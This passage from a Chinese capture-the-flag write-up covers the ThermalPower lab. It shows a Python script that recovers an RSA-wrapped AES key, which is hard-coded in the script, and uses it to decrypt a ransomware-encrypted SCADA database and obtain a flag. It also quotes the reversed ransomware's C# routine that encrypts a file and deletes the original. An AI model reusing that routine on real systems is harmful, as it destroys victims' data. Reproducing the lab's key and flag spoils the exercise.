1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
|
import base64 from Crypto.Util.Padding import pad from Crypto.Cipher import AES from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
def rsa_decrypt(data): private_key = """-----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+ PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3 YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17 8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/ xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0 VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy PHvLZB6D8zSyuGw= -----END PRIVATE KEY-----""" data = base64.b64decode(data) priobj = Cipher_pkcs1_v1_5.new(RSA.importKey(private_key)) decrypted_data = priobj.decrypt(data,None) return decrypted_data
def padding(data): if len(data) % AES.block_size != 0: return pad(data, AES.block_size, 'pkcs7') else: return data
def aes_cbc_encrypt(iv, key, data): key = padding(key) data = padding(data) iv = padding(iv)
aes = AES.new(key, AES.MODE_CBC, iv) cipher_data = aes.encrypt(data) return cipher_data
def aes_cbc_decrypt(iv, key, data): iv = padding(iv) key = padding(key) data = padding(data)
aes = AES.new(key, AES.MODE_CBC, iv) data = aes.decrypt(data) return data
def decrypt_file(encrypted_filepath,output_filepath,key): with open(encrypted_filepath, 'rb') as f: data = f.read()
iv = b'\x00' * 16 decryption_result = aes_cbc_decrypt(iv, key, data)
with open(output_filepath, 'wb') as f: f.write(decryption_result)
if __name__ == "__main__": encryptedAesKey = "lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=" key = rsa_decrypt(encryptedAesKey) encrypted_filepath = "ScadaDB.sql.locky" output_filepath = "ScadaDB.sql" decrypt_file(encrypted_filepath,output_filepath,key)
|
解密后得到 ScadaDB.sql。
也可以用cyberchef解密
打开数据库文件,得到 flag04:
1
| flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
|
AES iv 补充说明
逆向勒索程序后,可以看到在 EncryptFile 函数中,先输出了长度为 16 字节的 iv,再输出了加密后的数据库文件,然后一起写入 ScadaDB.sql.locky:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| private void EncryptFile(string inputFile, string outputFile) { using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider()) { cryptoServiceProvider.Key = this.AES_KEY; cryptoServiceProvider.GenerateIV(); using (ICryptoTransform encryptor = cryptoServiceProvider.CreateEncryptor()) { using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open)) { using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create)) { using (CryptoStream destination = new CryptoStream((Stream) fileStream2, encryptor, CryptoStreamMode.Write)) { fileStream2.Write(cryptoServiceProvider.IV, 0, cryptoServiceProvider.IV.Length); fileStream1.CopyTo((Stream) destination); } } } } } System.IO.File.Delete(inputFile); }
|
所以 ScadaDB.sql.locky 的前 16 字节实际上是 iv:
1
| iv = b'\xB9\x3C\x62\x85\x21\x95\x39\xE5\xC5\x00\x5A\xAA\x3A\xB0\xBF\x6C'
|
但是在本场景中,不影响解密,因为在解密时,错误的 iv 只影响明文块的第一个 16 字节 block,而在本场景中,前 16 字节恰好为 iv,不是原始 ScadaDB.sql 文件中的数据。
参考文献
https://xz.aliyun.com/news/13525
https://blog.potatowo.top/2025/03/19/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-ThermalPower/#%E7%AC%AC%E4%BA%8C%E5%85%B3
https://fushuling.com/index.php/2024/03/01/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83-thermalpower/
https://ta0.fun/posts/a5238ac2/
https://nekosec.github.io/2025/02/15/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-ThermalPower/